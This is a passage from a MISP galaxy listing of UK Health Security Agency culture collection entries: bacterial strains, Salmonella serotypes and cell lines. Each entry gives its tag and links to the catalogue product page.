The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Wichita"*

Table 28835. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-wichita

Salmonella enterica subsp. enterica serotype California

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype California"*

Table 28836. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-california

Salmonella enterica subsp. enterica serotype Abony

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Abony"*

Table 28837. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abony

Salmonella enterica subsp. enterica serotype Uganda

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Uganda"*

Table 28838. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-uganda

Salmonella enterica subsp. enterica serotype Kentucky

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kentucky"*

Table 28839. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kentucky

Salmonella enterica subsp. enterica serotype Kirkee

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Kirkee"*

Table 28840. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kirkee

Salmonella enterica subsp. enterica serotype Onderstepoort

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Onderstepoort"*

Table 28841. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-onderstepoort

Salmonella enterica subsp. enterica serotype Niloese

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Niloese"*

Table 28842. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-niloese

Salmonella enterica subsp. enterica serotype Newbrunswick

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Newbrunswick"*

Table 28843. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-newbrunswick

Salmonella enterica subsp. enterica serotype Selandia

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Selandia"*

Table 28844. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-selandia

Salmonella enterica subsp. enterica serotype Shangani

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Shangani"*

Table 28845. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-shangani

Salmonella enterica subsp. enterica serotype Zanzibar

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Zanzibar"*

Table 28846. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-zanzibar

Salmonella enterica subsp. enterica serotype Amager

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Amager"*

Table 28847. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-amager

Salmonella enterica subsp. enterica serotype Nyborg

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype*

Nyborg"

Table 28848. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-nyborg

Salmonella enterica subsp. salamae serotype Dar-Es-Salaam

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Dar-Es-Salaam"*

Table 28849. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-dar-es-salaam

Salmonella enterica subsp. enterica serotype Glostrup

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Glostrup"*

Table 28850. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-glostrup

Salmonella enterica subsp. enterica serotype Narashino

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Narashino"*

Table 28851. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-narashino

Salmonella enterica subsp. enterica serotype Kottbus

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype*

Kottbus"

Table 28852. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-kottbus

Salmonella enterica subsp. enterica serotype Braenderup

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Braenderup"*

Table 28853. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-braenderup

Salmonella enterica subsp. enterica serotype Amersfoort

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Amersfoort"*

Table 28854. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-amersfoort

Salmonella enterica subsp. enterica serotype Schleissheim

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Schleissheim"*

Table 28855. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-schleissheim

Salmonella enterica subsp. enterica serotype Abortusbovis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Abortusbovis"*

Table 28856. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abortusbovis-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abortusbovis

Salmonella enterica subsp. enterica serotype Abortusequi

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Abortusequi"*

Table 28857. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-abortusequi

Salmonella enterica subsp. enterica serotype Budapest

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Budapest"*

Table 28858. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-budapest

Salmonella enterica subsp. enterica serotype Essen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Essen"*

Table 28859. Table References

Links

https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-essen

Salmonella enterica subsp. enterica serotype Chester

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Chester"*

Table 28860. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-chester

Peptoniphilus indolicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptoniphilus indolicus"*

Table 28861. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptoniphilus-indolicus

CMT64/61

The tag is: *misp-galaxy:ukhsa-culture-collections="CMT64/61"*

Table 28862. Table References

Links
https://www.culturecollections.org.uk/nop/product/cmt6461

CMT 93

The tag is: *misp-galaxy:ukhsa-culture-collections="CMT 93"*

Table 28863. Table References

Links
https://www.culturecollections.org.uk/nop/product/cmt-93

CMT93/69

The tag is: *misp-galaxy:ukhsa-culture-collections="CMT93/69"*

Table 28864. Table References

Links
https://www.culturecollections.org.uk/nop/product/cmt9369

BICR 10

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 10"*

Table 28865. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-10

BICR 16

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 16"*

Table 28866. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-16

BICR 18

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 18"*

Table 28867. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-18

BICR 22

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 22"*

Table 28868. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-22

BICR 3

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 3"*

Table 28869. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-3

BICR 31

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 31"*

Table 28870. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-31

BICR 56

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 56"*

Table 28871. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-56

BICR 6

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 6"*

Table 28872. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-6

BICR 78

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 78"*

Table 28873. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-78

BICR 82

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR 82"*

Table 28874. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicr-82

fR2

The tag is: *misp-galaxy:ukhsa-culture-collections="fR2"*

Table 28875. Table References

Links
https://www.culturecollections.org.uk/nop/product/fr2

fR5

The tag is: *misp-galaxy:ukhsa-culture-collections="fR5"*

Table 28876. Table References

Links
https://www.culturecollections.org.uk/nop/product/fr5

Pr8/22

The tag is: *misp-galaxy:ukhsa-culture-collections="Pr8/22"*

Table 28877. Table References

Links
https://www.culturecollections.org.uk/nop/product/pr822

3.334 SC5/8

The tag is: *misp-galaxy:ukhsa-culture-collections="3.334 SC5/8"*

Table 28878. Table References

Links
https://www.culturecollections.org.uk/nop/product/3334-sc58

RT112/84

The tag is: *misp-galaxy:ukhsa-culture-collections="RT112/84"*

Table 28879. Table References

Links
https://www.culturecollections.org.uk/nop/product/rt11284

DOK

The tag is: *misp-galaxy:ukhsa-culture-collections="DOK"*

Table 28880. Table References

Links
https://www.culturecollections.org.uk/nop/product/dok

K562 AZQR

The tag is: *misp-galaxy:ukhsa-culture-collections="K562 AZQR"*

Table 28881. Table References

Links
https://www.culturecollections.org.uk/nop/product/k562-azqr

33-3D

The tag is: *misp-galaxy:ukhsa-culture-collections="33-3D"*

Table 28882. Table References

Links
https://www.culturecollections.org.uk/nop/product/33-3d

32-2B

The tag is: *misp-galaxy:ukhsa-culture-collections="32-2B"*

Table 28883. Table References

Links
https://www.culturecollections.org.uk/nop/product/32-2b

WM1

The tag is: *misp-galaxy:ukhsa-culture-collections="WM1"*

Table 28884. Table References

Links
https://www.culturecollections.org.uk/nop/product/wm1

Slackia exigua

The tag is: *misp-galaxy:ukhsa-culture-collections="Slackia exigua"*

Table 28885. Table References

Links
https://www.culturecollections.org.uk/nop/product/slackia-exigua

Paenibacillus thiaminolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus thiaminolyticus"*

Table 28886. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-thiaminolyticus-4
https://www.culturecollections.org.uk/nop/product/paenibacillus-thiaminolyticus-3
https://www.culturecollections.org.uk/nop/product/paenibacillus-thiaminolyticus-2
https://www.culturecollections.org.uk/nop/product/paenibacillus-thiaminolyticus

Pandoraea sputorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Pandoraea sputorum"*

Table 28887. Table References

Links
https://www.culturecollections.org.uk/nop/product/pandoraea-sputorum

T11D7e2

The tag is: *misp-galaxy:ukhsa-culture-collections="T11D7e2"*

Table 28888. Table References

Links
https://www.culturecollections.org.uk/nop/product/t11d7e2

T11D7

The tag is: *misp-galaxy:ukhsa-culture-collections="T11D7"*

Table 28889. Table References

Links

https://www.culturecollections.org.uk/nop/product/t11d7

OE33

The tag is: *misp-galaxy:ukhsa-culture-collections="OE33"*

Table 28890. Table References

Links
https://www.culturecollections.org.uk/nop/product/oe33

SK-GT-4

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-GT-4"*

Table 28891. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-gt-4

OACP4 C

The tag is: *misp-galaxy:ukhsa-culture-collections="OACP4 C"*

Table 28892. Table References

Links
https://www.culturecollections.org.uk/nop/product/oacp4-c

OACM5.1 C

The tag is: *misp-galaxy:ukhsa-culture-collections="OACM5.1 C"*

Table 28893. Table References

Links
https://www.culturecollections.org.uk/nop/product/oacm51-c

FLO-1

The tag is: *misp-galaxy:ukhsa-culture-collections="FLO-1"*

Table 28894. Table References

Links
https://www.culturecollections.org.uk/nop/product/flo-1

ESO26

The tag is: *misp-galaxy:ukhsa-culture-collections="ESO26"*

Table 28895. Table References

Links
https://www.culturecollections.org.uk/nop/product/eso26

IM 9

The tag is: *misp-galaxy:ukhsa-culture-collections="IM 9"*

Table 28896. Table References

Links
https://www.culturecollections.org.uk/nop/product/im-9

Raoultella terrigena

The tag is: *misp-galaxy:ukhsa-culture-collections="Raoultella terrigena"*

Table 28897. Table References

Links
https://www.culturecollections.org.uk/nop/product/raoultella-terrigena-3
https://www.culturecollections.org.uk/nop/product/raoultella-terrigena-4
https://www.culturecollections.org.uk/nop/product/raoultella-terrigena-5
https://www.culturecollections.org.uk/nop/product/raoultella-terrigena-2
https://www.culturecollections.org.uk/nop/product/raoultella-terrigena

Micrococcus luteus

The tag is: *misp-galaxy:ukhsa-culture-collections="Micrococcus luteus"*

Table 28898. Table References

Links
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-19
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-4
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-16
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-10
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-15
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus

https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-8
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-11
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-18
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-2
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-12
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-13
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-3
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-6
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-5
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-9
https://www.culturecollections.org.uk/nop/product/micrococcus-luteus-17

RD

The tag is: *misp-galaxy:ukhsa-culture-collections="RD"*

Table 28899. Table References

Links
https://www.culturecollections.org.uk/nop/product/rd

Campylobacter coli

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter coli"*

Table 28900. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-13
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-12
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-3
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-6
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-10
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-4
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-8
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-11
https://www.culturecollections.org.uk/nop/product/campylobacter-coli
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-5
https://www.culturecollections.org.uk/nop/product/campylobacter-coli-2

https://www.culturecollections.org.uk/nop/product/campylobacter-coli-9

Staphylococcus rostri

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus rostri"*

Table 28901. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-rostri

F15-42-1-5

The tag is: *misp-galaxy:ukhsa-culture-collections="F15-42-1-5"*

Table 28902. Table References

Links
https://www.culturecollections.org.uk/nop/product/f15-42-1-5

Acinetobacter sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter sp."*

Table 28903. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-sp

Corynebacterium suis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium suis"*

Table 28904. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-suis

Corynebacterium segmentosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium segmentosum"*

Table 28905. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-segmentosum

Corynebacterium murisepticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium murisepticum"*

Table 28906. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-murisepticum

Corynebacterium genitalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium genitalium"*

Table 28907. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-genitalium

Enterococcus hirae

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus hirae"*

Table 28908. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-hirae-2
https://www.culturecollections.org.uk/nop/product/enterococcus-hirae
https://www.culturecollections.org.uk/nop/product/enterococcus-hirae-5
https://www.culturecollections.org.uk/nop/product/enterococcus-hirae-3
https://www.culturecollections.org.uk/nop/product/enterococcus-hirae-4

Streptococcus gallolyticus subsp. gallolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus gallolyticus subsp. gallolyticus"*

Table 28909. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-gallolyticus-subsp-gallolyticus

CHO

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO"*

Table 28910. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho

Trueperella bionasi

The tag is: *misp-galaxy:ukhsa-culture-collections="Trueperella bionasi"*

Table 28911. Table References

Links
https://www.culturecollections.org.uk/nop/product/trueperella-bionasi

Trueperella bialowiezense

The tag is: *misp-galaxy:ukhsa-culture-collections="Trueperella bialowiezense"*

Table 28912. Table References

Links
https://www.culturecollections.org.uk/nop/product/trueperella-bialowiezense

Shimwellia blattae

The tag is: *misp-galaxy:ukhsa-culture-collections="Shimwellia blattae"*

Table 28913. Table References

Links
https://www.culturecollections.org.uk/nop/product/shimwellia-blattae-2
https://www.culturecollections.org.uk/nop/product/shimwellia-blattae

Gardnerella vaginalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Gardnerella vaginalis"*

Table 28914. Table References

Links
https://www.culturecollections.org.uk/nop/product/gardnerella-vaginalis
https://www.culturecollections.org.uk/nop/product/gardnerella-vaginalis-3
https://www.culturecollections.org.uk/nop/product/gardnerella-vaginalis-2

Propionibacterium acidifaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium acidifaciens"*

Table 28915. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-acidifaciens

Bordetella ansorpii

The tag is: *misp-galaxy:ukhsa-culture-collections="Bordetella ansorpii"*

Table 28916. Table References

Links
https://www.culturecollections.org.uk/nop/product/bordetella-ansorpii

Fusobacterium ulcerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium ulcerans"*

Table 28917. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-ulcerans-2
https://www.culturecollections.org.uk/nop/product/fusobacterium-ulcerans

HH-8

The tag is: *misp-galaxy:ukhsa-culture-collections="HH-8"*

Table 28918. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh-8

P4E6

The tag is: *misp-galaxy:ukhsa-culture-collections="P4E6"*

Table 28919. Table References

Links
https://www.culturecollections.org.uk/nop/product/p4e6

U251 MG

The tag is: *misp-galaxy:ukhsa-culture-collections="U251 MG"*

Table 28920. Table References

Links
https://www.culturecollections.org.uk/nop/product/u251-mg

U-373 MG (Uppsala)

The tag is: *misp-galaxy:ukhsa-culture-collections="U-373 MG (Uppsala)"*

Table 28921. Table References

Links
https://www.culturecollections.org.uk/nop/product/u-373-mg-uppsala

Lichtheimia corymbifera

The tag is: *misp-galaxy:ukhsa-culture-collections="Lichtheimia corymbifera"*

Table 28922. Table References

Links
https://www.culturecollections.org.uk/nop/product/lichtheimia-corymbifera-15
https://www.culturecollections.org.uk/nop/product/lichtheimia-corymbifera-5
https://www.culturecollections.org.uk/nop/product/lichtheimia-corymbifera-4
https://www.culturecollections.org.uk/nop/product/lichtheimia-corymbifera-3

Campylobacter helveticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter helveticus"*

Table 28923. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-2
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-6
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-4
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-3
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-5
https://www.culturecollections.org.uk/nop/product/campylobacter-helveticus-8

Legionella pneumophila subsp. pascullei

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella pneumophila subsp. pascullei"*

Table 28924. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-subsp-pascullei-2
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-subsp-pascullei
https://www.culturecollections.org.uk/nop/product/legionella-pneumophila-subsp-pascullei-3

Neisseria zoodegmatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria zoodegmatis"*

Table 28925. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-zoodegmatis-3
https://www.culturecollections.org.uk/nop/product/neisseria-zoodegmatis
https://www.culturecollections.org.uk/nop/product/neisseria-zoodegmatis-2

Cellulomonas biazotea

The tag is: *misp-galaxy:ukhsa-culture-collections="Cellulomonas biazotea"*

Table 28926. Table References

Links
https://www.culturecollections.org.uk/nop/product/cellulomonas-biazotea

Prevotella melaninogenica

The tag is: *misp-galaxy:ukhsa-culture-collections="Prevotella melaninogenica"*

Table 28927. Table References

Links
https://www.culturecollections.org.uk/nop/product/prevotella-melaninogenica-3
https://www.culturecollections.org.uk/nop/product/prevotella-melaninogenica-6
https://www.culturecollections.org.uk/nop/product/prevotella-melaninogenica-4
https://www.culturecollections.org.uk/nop/product/prevotella-melaninogenica-2
https://www.culturecollections.org.uk/nop/product/prevotella-melaninogenica-5

Streptococcus criceti

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus criceti"*

Table 28928. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-criceti

Microbacterium oxydans

The tag is: *misp-galaxy:ukhsa-culture-collections="Microbacterium oxydans"*

Table 28929. Table References

Links
https://www.culturecollections.org.uk/nop/product/microbacterium-oxydans

Clostridium baratii

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium baratii"*

Table 28930. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-baratii-2
https://www.culturecollections.org.uk/nop/product/clostridium-baratii

Vibrio vulnificus

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio vulnificus"*

Table 28931. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-vulnificus-3
https://www.culturecollections.org.uk/nop/product/vibrio-vulnificus-2
https://www.culturecollections.org.uk/nop/product/vibrio-vulnificus

Lactobacillus casei

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactobacillus casei"*

Table 28932. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactobacillus-casei

Yersinia enterocolitica subsp. enterocolitica

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia enterocolitica subsp. enterocolitica"*

Table 28933. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-subsp-enterocolitica-2
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-subsp-enterocolitica

Neisseria weaveri

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria weaveri"*

Table 28934. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-weaveri-2
https://www.culturecollections.org.uk/nop/product/neisseria-weaveri

Alcaligenes faecalis subsp. faecalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Alcaligenes faecalis subsp. faecalis"*

Table 28935. Table References

Links
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-subsp-faecalis-2
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-subsp-faecalis

Flavobacterium hibernum

The tag is: *misp-galaxy:ukhsa-culture-collections="Flavobacterium hibernum"*

Table 28936. Table References

Links
https://www.culturecollections.org.uk/nop/product/flavobacterium-hibernum-2

Chryseobacterium bruuniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium bruuniae"*

Table 28937. Table References

Links

https://www.culturecollections.org.uk/nop/product/chryseobacterium-bruuniae

Fusobacterium varium

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium varium"*

Table 28938. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-varium-2
https://www.culturecollections.org.uk/nop/product/fusobacterium-varium

Gordonia hongkongensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Gordonia hongkongensis"*

Table 28939. Table References

Links
https://www.culturecollections.org.uk/nop/product/gordonia-hongkongensis

Propionibacterium freudenreichii subsp. shermanii

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium freudenreichii subsp. shermanii"*

Table 28940. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-freudenreichii-subsp-shermanii

Propionibacterium jensenii

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium jensenii"*

Table 28941. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-jensenii

Propionibacterium australiense

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium australiense"*

Table 28942. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-australiense

Propionibacterium microaerophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium microaerophilum"*

Table 28943. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-microaerophilum

Achromobacter piechaudii

The tag is: *misp-galaxy:ukhsa-culture-collections="Achromobacter piechaudii"*

Table 28944. Table References

Links
https://www.culturecollections.org.uk/nop/product/achromobacter-piechaudii

Haemophilus sputorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus sputorum"*

Table 28945. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-sputorum

CHO-K1.Cl-0235

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0235"*

Table 28946. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0235-2

CHO-K1.Cl-0270

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0270"*

Table 28947. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0270

CHO-K1.Cl-0238

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0238"*

Table 28948. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0238

CHO-K1.Cl-0237

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1.Cl-0237"*

Table 28949. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1cl-0237

Streptomyces upcotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptomyces upcotii"*

Table 28950. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptomyces-upcotii

Fusobacterium necrogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusobacterium necrogenes"*

Table 28951. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusobacterium-necrogenes

Suttonella indologenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Suttonella indologenes"*

Table 28952. Table References

Links
https://www.culturecollections.org.uk/nop/product/suttonella-indologenes
https://www.culturecollections.org.uk/nop/product/suttonella-indologenes-2

Pasteurella mairii

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella mairii"*

Table 28953. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-mairii
https://www.culturecollections.org.uk/nop/product/pasteurella-mairii-2

Pseudomonas taetrolens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas taetrolens"*

Table 28954. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-taetrolens-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-taetrolens

Pseudomonas oleovorans

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas oleovorans"*

Table 28955. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-oleovorans

Haemophilus paraphrohaemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus paraphrohaemolyticus"*

Table 28956. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-paraphrohaemolyticus-2
https://www.culturecollections.org.uk/nop/product/haemophilus-paraphrohaemolyticus

Gordonia terrae

The tag is: *misp-galaxy:ukhsa-culture-collections="Gordonia terrae"*

Table 28957. Table References

Links

https://www.culturecollections.org.uk/nop/product/gordonia-terrae

Neisseria elongata

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria elongata"*

Table 28958. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-elongata

Haemophilus haemolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus haemolyticus"*

Table 28959. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-haemolyticus
https://www.culturecollections.org.uk/nop/product/haemophilus-haemolyticus-2

Neisseria lactamica

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria lactamica"*

Table 28960. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-lactamica-2
